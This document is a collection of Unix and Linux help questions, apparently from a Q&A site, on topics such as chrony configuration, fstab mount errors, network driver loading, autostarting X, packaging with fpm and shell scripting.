text: I'm having trouble configuring chrony to sync the time between my raspberry pi and a desktop computer in an isolated network. My raspberry pi's chrony.config file looks like this:               server master     driftfile /var/lib/chrony/chrony.drift     logdir /var/log/chrony     log tracking measurements statistics     keyfile /etc/chrony/chrony.keys     commandkey 1     local stratum 10     initstepslew 20 master     allow 192.168.3.136      The master's chrony.config file, which is the desktop, looks like this:               driftfile /var/lib/chrony/chrony.drift     commandkey 1     keyfile /etc/chrony/chrony.keys     initstepslew 10 192.168.3.155 192.168.3.135     local stratum 8     manual     allow 192.168.3      The master is able to connect, but every time I try to run chronyc tracking on the raspberry pi it says '506 Cannot talk to daemon'. I have another desktop computer that's also trying to act as a client, and it has the same problem. What additional information can I provide to help people debug my problem? Unfortunately I don't even know where to start, and I haven't found anything useful on Google.


title: Get total size of jpeg images per directory in each directory containing jpegs

text: I'm trying to get a per-directory total size of all the `.jpg`/`.jpeg` images in each directory that contains such images. And showing the full directory path. I'm no bash expert but I've managed to cobble this together from various bits I've found.               for i in $(tree -dfi --noreport); do       find . \( -iname "*.jpg" -or -iname "*.jpeg" \) -type f -exec du -c {} \; $i     done      However I'm getting an error:               find: paths must precede expression      Anyone know what I've done wrong?   Or can suggest any alternatives with bash that might do what I'm looking for? I get the same error when changing it to this:               for i in $(tree -dfi --noreport); do       find $i \( -iname "*.jpg" -or -iname "*.jpeg" \) -type f -exec du {} \; $i     done


title: disabling ssh session expiration

text: I am installed Ubuntu on Virtual Box, and use xshell (a remote terminal application) to ssh to ubuntu. when I hibernate computer during night, after powering it on, the session is expired and I should to ssh to ubuntu again. Is there is way to configure ssh to nut expire during hibernation or after hours of ideal connection? I use Fedora to, if configs have differences please mention it. I use Windows 7.


title: Bash script needed to run every second

text: I have a few cleanup commands to run for my datacaching scheme. I was thinking a `bash` script would be an easy way to check if the full clean up job needed to be run. But the cache is very time sensitive, so the check script needs to run every second. What's the best way to do this? Crontab only goes down to minutes, which makes sense for most applications. Can I install a `bash` script as a background service? On second though, can I just start it with the & command and make it loop forever with a one second sleep? I'm a newbie, would appreciate some advice.


title: How should I fix my fstab

text: I got 2 partition I want to mount               sdb1 which uses ext2 file system     sdc1 which uses ext4 file system      I added this 2 line on fstab               /dev/sdb1 /home2 auto auto,noatime,default 0 0     /dev/sdc1 /home3 auto auto,noatime,noload,data=ordered,commit=10,default 0 0      Looks like it's not correct because I fail to mount. How to correct it? Yet I can't mount them due to some error. This is my fstab and some command to show that               root@host [/etc]# cat fstab     #     # /etc/fstab     # Created by anaconda on Tue Jan 8 10:16:53 2013     #     # Accessible filesystems, by reference, are maintained under '/dev/disk'     # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info     #     UUID=eb3b9431-7964-47fd-a497-e4ddcd3f9d05 / ext4 defaults 1 1     UUID=ed11681c-9343-41ac-ac8b-a29bf4d13fbd /boot ext4 defaults 1 2     #UUID=191a3af4-c48a-4779-974a-c55dc290543d /home1 ext4 defaults 1 2     #UUID=eca46a9a-6666-40d0-bbe5-e35b54295264 /home2 ext4 defaults 1 2     UUID=475f3ba3-6459-42ac-b441-1daa95acb2b3 swap swap defaults 0 0     tmpfs /dev/shm tmpfs defaults 0 0     devpts /dev/pts devpts gid=5,mode=620 0 0     sysfs /sys sysfs defaults 0 0     proc /proc proc defaults 0 0     /usr/tmpDSK /tmp ext3 defaults,noauto 0 0     /dev/sdb1 /home2 auto auto,noatime,default 0 0     /dev/sdc1 /home3 auto auto,noatime,noload,data=ordered,commit=10,default 0 0     root@host [/etc]# parted -l     Model: ATA WDC WD15EADS-00R (scsi)     Disk /dev/sda: 1500GB     Sector size (logical/physical): 512B/512B     Partition Table: msdos          Number Start End Size Type File system Flags     1 1049kB 525MB 524MB primary ext4 boot     2 525MB 34.4GB 33.8GB primary linux-swap(v1)     3 34.4GB 1500GB 1466GB primary ext4               Model: ATA SAMSUNG SSD 830 (scsi)     Disk /dev/sdb: 256GB     Sector size (logical/physical): 512B/512B     Partition Table: msdos          Number Start End Size Type File system Flags     1 1049kB 256GB 256GB primary ext2               Model: ATA M4-CT256M4SSD2 (scsi)     Disk /dev/sdc: 256GB     Sector size (logical/physical): 512B/512B     Partition Table: msdos          Number Start End Size Type File system Flags     1 1049kB 256GB 256GB primary ext4               root@host [/etc]# mount /home2     mount: wrong fs type, bad option, bad superblock on /dev/sdb1,     missing codepage or helper program, or other error     In some cases useful info is found in syslog - try     dmesg | tail or so          root@host [/etc]# mount /home3     mount: wrong fs type, bad option, bad superblock on /dev/sdc1,     missing codepage or helper program, or other error     In some cases useful info is found in syslog - try     dmesg | tail or so          root@host [/etc]#


title: How to fix networking driver boot load failure after replacing hardware?

text: After replacing the motherboard, which is the same as after replacing the network adapter interface hardware (NIC), our Debian 6.0.6 no longer loads the networking driver on boot. The manual approach succeeds:               # rmmod e1000e     e1000e 0000:03:00.0: PCI INT A disabled     # modprobe e1000e     e1000e: Intel(R) PRO/1000 Network Driver - 2.1.4-NAPI     e1000e: Copyright(c) 1999 - 2012 Intel Corporation.     e1000e 0000:03:00.0: Disabling ASPM L0s L1     e1000e 0000:03:00.0: PCI INT A -> GSI 16 (level, low) -> IRQ 16     e1000e 0000:03:00.0: setting latency timer to 64     e1000e 0000:03:00.0: Interrupt Throttling Rate (ints/sec) set to dynamic conservative mode     e1000e 0000:03:00.0: irq 27 for MSI/MSI-X     e1000e 0000:03:00.0: irq 28 for MSI/MSI-X     e1000e 0000:03:00.0: irq 29 for MSI/MSI-X     e1000e 0000:03:00.0: eth0: (PCI Express:2.5GT/s:Width x1) 00:25:90:7c:b8:ec     e1000e 0000:03:00.0: eth0: Intel(R) PRO/1000 Network Connection     e1000e 0000:03:00.0: eth0: MAC: 4, PHY: 8, PBA No: FFFFFF-0FF     udev[682]: renamed network interface eth0 to eth2      We have tried to:   1. Update the driver (our initial driver version was the one in the kernel: 1.2.20-k2): no improvement   2. Adding `pcie_aspm=off` kernel parameter on boot: no improvement   3. Adding `e1000e` to your `/etc/modprobe` file to ensure it's loaded on boot: no improvement   4. Adding an alias line to `/etc/modules.conf` and `/etc/modprobe.conf`: no improvement How to make the network kernel module load again on boot?


title: Why are UNIX logins often formed with the first letter of the first name followed by the first seven letters of the name?

text: I have seen in many places (especially universities) logins formed in the following way:   * First letter of the first name: John Smithsonian → j   * First seven letters of the name: John Smithsonian → smithso Thus the login would be jsmithso. Does anyone know how such a way to create a login is called? And why it is done that way.


title: `which`, but all

text: I think most are familiar with the `which` command, and I use it frequently. I just ran into a situation where I'm curious not just which command is first in my path, but how many and where _all_ the commands in all my paths are. I tried the which man page (typing `man which` made me laugh), but didn't see anything.


title: How to find out what color I gave to xsetroot?

text: I used xsetroot -solid "#xxxxxx" to set a background color. I like this color, but did not record the command and it's long gone from the bash shell history. How can I find out what the color was?


title: Sound stutters during moderate disk access?

text: I'm running Xubuntu 13.10 "Saucy Salamander." It's a pretty recent install. I'm playing music over a bluetooth usb dongle on a home theater system. All of my sound goes through pulseaudio. I've found that downloading files kills my sound -- it starts to stutter and lag to the point that it's pretty much unrecognizable. It's almost bearable around 200 KB/s but unusuable around 1-2 MB/s. My hard drive has a speed of 7200 RPM, so it seems unlikely to be an issue with the drive. What's going wrong here? Is this just an issue with the linux disk scheduler? Do I need to patch my kernel with BFQ to fix it, or is there an easier way?


title: Start X after automatic login

text: I have a working automatic login to a virtual console after boot. Now I want the X server to start automatically, instead of typing `startx`. This worked before, but after switching to systemd, X would not start itself. According to the wiki page, I edited my `~/.bash_profile`:               #     # ~/.bash_profile     #     [[ -f ~/.bashrc ]] && . ~/.bashrc     [[ -z $DISPLAY && $XDG_VTNR -eq 1 ]] && exec startx      But X won´t start (executing `startx` manually works). The wiki also notes: > X must always be run on the same tty where the login occurred, to preserve > the logind session. This is handled by the default /etc/X11/xinit/xserverrc. But I am not sure how to handle this. My `/etc/X11/xinit/xserverrc`:               #!/bin/sh     if [ -z "$XDG_VTNR" ]; then       exec /usr/bin/X -nolisten tcp "$@"     else       exec /usr/bin/X -nolisten tcp "$@" vt$XDG_VTNR     fi      What am I doing wrong? ### UPDATE `~/.xinitrc`:               #!/bin/sh     #     # ~/.xinitrc     #     # Executed by startx (run your window manager from here)          # Keyboard layout     setxkbmap -layout de nodeadkeys     # Set the cursor     xsetroot -cursor_name left_ptr          # Autostart     tint2 & #Taskbar     /usr/lib/notification-daemon-1.0/notification-daemon & #Notifications     numlockx & #activate numlock          case "$1" in         openbox)             exec ck-launch-session openbox-session ;;         xmonad)             exec ck-launch-session xmonad ;;         *) #default             exec ck-launch-session xmonad ;;     esac      I don´t have a `~/.Xresources` file and I didn´t need one before. Is it important?


title: help with making the move from Win to Linux

text: This will be a looong "question" not because I intend to make it like this but because the more I learn about Linux the more complex it seems to become for me to figure out which Linux distro, and/or DE/WM to go with. So please bear with me on this one. So, here it goes. I need to make the move from Windows to Linux as I am too pissed off with the many system crashes, numerous and random internet disconnecting issues, trojans, rootkits and malware infections and whatnot, and all of these on a fresh new install of Windows on which I only installed the bare minimum (winamp, browser, antivirus, office, vlc, etc, etc). No new downloads, no new apps installed, no anything and yet, system crash after system crash, virus infection after virus infection (and that's after scanning PC twice or three times with AVG, Malwarebytes, HitmanPRO, NOD32, Avast, Avira and whatnot) without detecting anything malicious. The hell with all this! I just need an OS that installs fast, has the same (or almost the same) feel and design as Windows (Xp, Vista, Win 7, or even Win98 doesn't really matter), is easily customizable and which doesn't need 10,000 upgrades and reinstalls in one year, like most of the distros I learned about seem to undergo (most of them seem to be upgraded once or twice per year). Anyway, as I was saying I need a stable OS that will function flawlessly even after 10 or 20 years, without needing a single upgrade, update or re-install. I am not interested in learning to use terminals or lines of code, I am not interested in gazillions of packages in their collection of software and applications, I don't need dozens of games or trying hundreds of new, cool and shiny apps, or anything like that. I will stick to the same browser that I've been using since it came out (mozilla firefox), I will stick to the same 2-3 games I've been playing since I was a kid, I'll also stick to the same Winamp, Winace, and other stuff that I've been using since I got my first PC. So, a huge collection of apps and even games won't impress me to install the latest and coolest distro if it fails to offer the minimum (stability and security) I also need my OS to be highly intuitive (to look as much as Windows, if possible), to be easily customizable (drag and drop, or "click here click there done" type of customization, not typing alien coding into terminals and modifying dozens of config files and whatnot). I am not very interested in saving on CPU resources as this year I will be getting a new PC anyway, with a minimum of 8GB RAM, SDD instead of HDD, too and so on and so forth. So PC resources won't be a problem anymore for my new Linux install (even my current desktop is able to handle a heavy Linux distro) but I need something that works and works flawlessly out of the box. I installed Mint x64 Xfce about a week ago and wasted all my time reading everything on their forum and while the folks at Mint forum are very helpful I feel like I will never get where I want with Linux Mint. And after doing some even more research and reading in Google and on other related and on-topic websites I feel like the more I try to learn how a particular distro or desktop environment works the more minuses it has and the more distros and DEs I hear there are. Which becomes s confusing and so down letting that you just feel like sticking to Windows but I can't (I WON'T) get back to it as I have already invested all of my energy and capacity of understanding it into it and it still looks like a program built by techie wannabes.... Anyway, sorry if I digress too much. The drivers for my hardware is another biggie for me. After one week of research and forum asking I can't make the sound card and my (already obsolete) Speedtouch ADSL modem connect to the internet through Linux Mint, which is why I am looking for another Linux option. I can understand that it's almost impossible for any distro to contain drivers for all possible device types and models, so I won't insist on this aspect. But at least I need to be able to easily make the devices work properly. Is there any chance at all that I ever find such an OS among all the Linux variations that exist on the market today? I am not interested in server based Linux, or commercial or enterprise or other BS like that. I just need a OS to function on my desktop, that's all. I don't think I ask for much So anyway, is there someone who has possibly, thoroughly tried ALL of the distros and Wms/DEs out there (or at least the major ones, those listed on DW) that can offer an unbiased opinion on which Linux distro is the solution I am looking for? Please! I am already sick and tired of so much research and not getting anywhere and I need a stable and secure (fast too, if possible but not a requirement) Linux ASAP so I can continue my work.


title: tcsh alias - find FreeBSD port

text: I am trying to create an _alias for **tcsh_**. I would like to find a program in ports (FreeBSD ports). So far I made an alias, which works, but finds only ports which end in `*port_name`. I would like it to search for `*port_name*`. Can you tell why my example does not work?               alias najdi 'echo /usr/ports/*/*\!:1* | sed -e "y/ /\n/"'      .               najdi port_name     finds: *port_name     expected: *port_name*      **SOLUTION:** I switched to this: (it is also case in-sensitive)               alias portfind 'cd /usr/ports && make quicksearch name=\!:1 | grep Path'


title: Dired+ on dark color themes

text: As far as I know, Dired and Dired+ work better by default (give better color contrast) on color themes with clear backgrounds. I know I can customize face colors on Dired+ for Emacs manually using `M-x customize-face`, but this can be tedious when customizing multiple faces one by one. Given this, I was wondering if anybody knows of a code snippet that automatically customizes those faces that don't work well on dark themes such as Zenburn or Tango. I am mostly interested on a solution for Dired+, but I wonder if a solution exists for Bookmarks+ too.


title: not suceed in installing a self-built package using fpm

text: I am following this example to build a deb file from the result of `configure/make/make install`, which succeeds. Then I used `fpm` to create a deb file:               # fpm -s dir -t deb -n nodejs -v 0.6.0 -C /tmp/installdir \     >   -p nodejs-VERSION_ARCH.deb \     >   -d "libssl0.9.8 (> 0)" \     >   -d "libstdc++6 (>= 4.4.3)" \     >   usr/bin usr/lib     Created package {:path=>"nodejs-0.6.0_i386.deb"}          # file nodejs-0.6.0_i386.deb      nodejs-0.6.0_i386.deb: Debian binary package (format 2.0)      All looks fine, until I try to install from the new deb file nodejs-0.6.0_i386.deb:               # sudo dpkg -i nodejs-0.6.0_i386.deb      Selecting previously unselected package nodejs.     (Reading database ... 1058122 files and directories currently installed.)     Unpacking nodejs (from nodejs-0.6.0_i386.deb) ...     dpkg: dependency problems prevent configuration of nodejs:      nodejs depends on libssl0.9.8 (>> 0); however:       Package libssl0.9.8 is not installed.     dpkg: error processing nodejs (--install):      dependency problems - leaving unconfigured     Errors were encountered while processing:      nodejs      I already have `libssl1.0.0 1.0.1-4ubuntu5.12` and `libstdc++6 4.6.3-1ubuntu5`. They seem to satisfy `-d "libssl0.9.8 (> 0)"` and `-d "libstdc++6 (>= 4.4.3)"`. What is the problem here? My OS is Ubuntu 12.04.


title: How do I use find to individually zip files in a directory?

text: I was expecting something like, `find . -name "*.bor" -exec sh -c 'zip ???' sh {} +` where the ??? are replaced with `$@` or similar. The end result needs to look like,   * 1.bor.zip   * 2.bor.zip etc.


title: Merging multiple files by row

text: Is it possible to copy the rows of File1 and File2 in a new File4 following the instruction given by File3 by using a simple bash script (sed? awk?).                File1: /*two or more columns, tab delimited*/         AC    456324         DC    689712         GH    123677         KL    236587          File2: /*two or more columns, tab delimited*/         DC    AABBC TTYJU         AC    DDDEE YYUKI         KL    GGHHG QQSSD           File3: /*one column*/         AC         DC          File4 /*tab delimited*/         AC    456324    DDDEE   YYUKI         DC    689712    AABBC   TTYJU      I'm actually performing this using Python dictionaries, and I wondered if you knew a simple way out. Note: this question, in its simplest form, has already an answer in: Merging file by row


title: Are free shell accounts safe?

text: I am trying to identify how safe the free shell accounts provided by the likes of shellmix.com are. I have never used one myself but want to suggest it to someone interested in learning shell programming. Are they safe to use for this purpose? What should I watch out for?